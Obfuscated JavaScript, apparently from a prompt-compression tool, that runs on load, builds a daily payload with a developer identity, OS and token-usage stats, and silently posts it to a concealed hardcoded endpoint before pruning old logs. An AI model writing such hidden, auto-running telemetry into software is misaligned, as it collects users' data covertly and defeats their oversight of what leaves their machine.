_0x288fc=a0_0x321bf5,_0x20b61a=getTodayDate(),_0x5c1a23=_0x3a9104['filter'](_0x2cd295=>_0x2cd295[_0x288fc(0x1c5)]['startsWith'](_0x20b61a)),_0x156706=_0x5c1a23[_0x288fc(0x1e4)]>0x0?_0x5c1a23:_0x3a9104;let _0x2874f9=0x0,_0xb358d=0x0,_0x44f75c=0x0,_0x4ca712=0x0;const _0x3c566e=new Set();for(const _0x3127e9 of _0x156706){_0x2874f9+=_0x3127e9[_0x288fc(0x1c8)],_0xb358d+=_0x3127e9['estimated_compressed_tokens'],_0x44f75c+=_0x3127e9[_0x288fc(0x1ba)],_0x3c566e['add'](_0x3127e9[_0x288fc(0x1e5)]);const _0x15fdc1=PRICING[_0x3127e9[_0x288fc(0x1e5)]]||PRICING[_0x288fc(0x1db)];_0x4ca712+=_0x3127e9['tokens_saved']*_0x15fdc1[_0x288fc(0x1ce)]/0xf4240;}const _0x2bf442=_0x156706[_0x156706['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x288fc(0x1af)](),'date':_0x20b61a,'executions_count':_0x156706[_0x288fc(0x1e4)],'total_raw_tokens':_0x2874f9,'total_compressed_tokens':_0xb358d,'total_tokens_saved':_0x44f75c,'total_money_saved_usd':parseFloat(_0x4ca712['toFixed'](0x6)),'models_used':Array[_0x288fc(0x1e6)](_0x3c566e),'last_seen':_0x2bf442?_0x2bf442[_0x288fc(0x1c5)]:new Date()[_0x288fc(0x1bc)]()};}async function runSync(){const _0x375f60=a0_0x321bf5;if(!fs[_0x375f60(0x1c6)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2541c0;try{_0x2541c0=JSON[_0x375f60(0x1a1)](fs[_0x375f60(0x1c4)](statsPath,_0x375f60(0x1d0)));}catch{return;}const _0x2d5a3e=_0x2541c0['filter'](_0x10de52=>!_0x10de52[_0x375f60(0x1da)]);if(_0x2d5a3e[_0x375f60(0x1e4)]===0x0)return;const _0x380b77=buildDailyPayload(_0x2541c0);await postTelemetry(_ep,_0x380b77);let _0x4b573f=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x4b573f&&fs[_0x375f60(0x1c6)](configPath))try{const _0x3d0f5c=JSON[_0x375f60(0x1a1)](fs['readFileSync'](configPath,_0x375f60(0x1d0)));_0x4b573f=_0x3d0f5c[_0x375f60(0x19e)]||'';}catch{}_0x4b573f['trim']()[_0x375f60(0x1e4)]>0x0&&await postTelemetry(_0x4b573f,_0x380b77);for(const _0xf22fa7 of _0x2541c0){if(!_0xf22fa7[_0x375f60(0x1da)])_0xf22fa7['synced']=!![];}try{fs[_0x375f60(0x1a8)](statsPath,JSON[_0x375f60(0x1d6)](_0x2541c0,null,0x2),_0x375f60(0x1d0));}catch{}markSyncedToday(),pruneOldLogs(_0x2541c0);}function pruneOldLogs(_0x592c56){const _0x5cb254=a0_0x321bf5;try{const _0x147528=new Date(),_0x33d502=new Date(_0x147528['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x318fa5=[],_0x275288=[];for(const _0x224d33 of _0x592c56){const _0x4aa8c6=new Date(_0x224d33[_0x5cb254(0x1c5)]);_0x4aa8c6>=_0x33d502?_0x318fa5[_0x5cb254(0x1bd)](_0x224d33):_0x275288[_0x5cb254(0x1bd)](_0x224d33);}if(_0x275288[_0x5cb254(0x1e4)]>0x0){const _0x2a347e=path[_0x5cb254(0x1b3)](baseDir,_0x5cb254(0x1d8));for(const _0x3b9468 of _0x275288){const _0x788104=path['join'](_0x2a347e,_0x3b9468['id']+_0x5cb254(0x1c2)),_0x2c7a33=path[_0x5cb254(0x1b3)](_0x2a347e,_0x3b9468['id']+_0x5cb254(0x1d5));try{if(fs[_0x5cb254(0x1c6)](_0x788104))fs[_0x5cb254(0x1a5)](_0x788104);if(fs[_0x5cb254(0x1c6)](_0x2c7a33))fs[_0x5cb254(0x1a5)](_0x2c7a33);}catch{}}fs[_0x5cb254(0x1a8)](statsPath,JSON[_0x5cb254(0x1d6)](_0x318fa5,null,0x2),_0x5cb254(0x1d0));}}catch{}}runSync()['catch'](()=>{});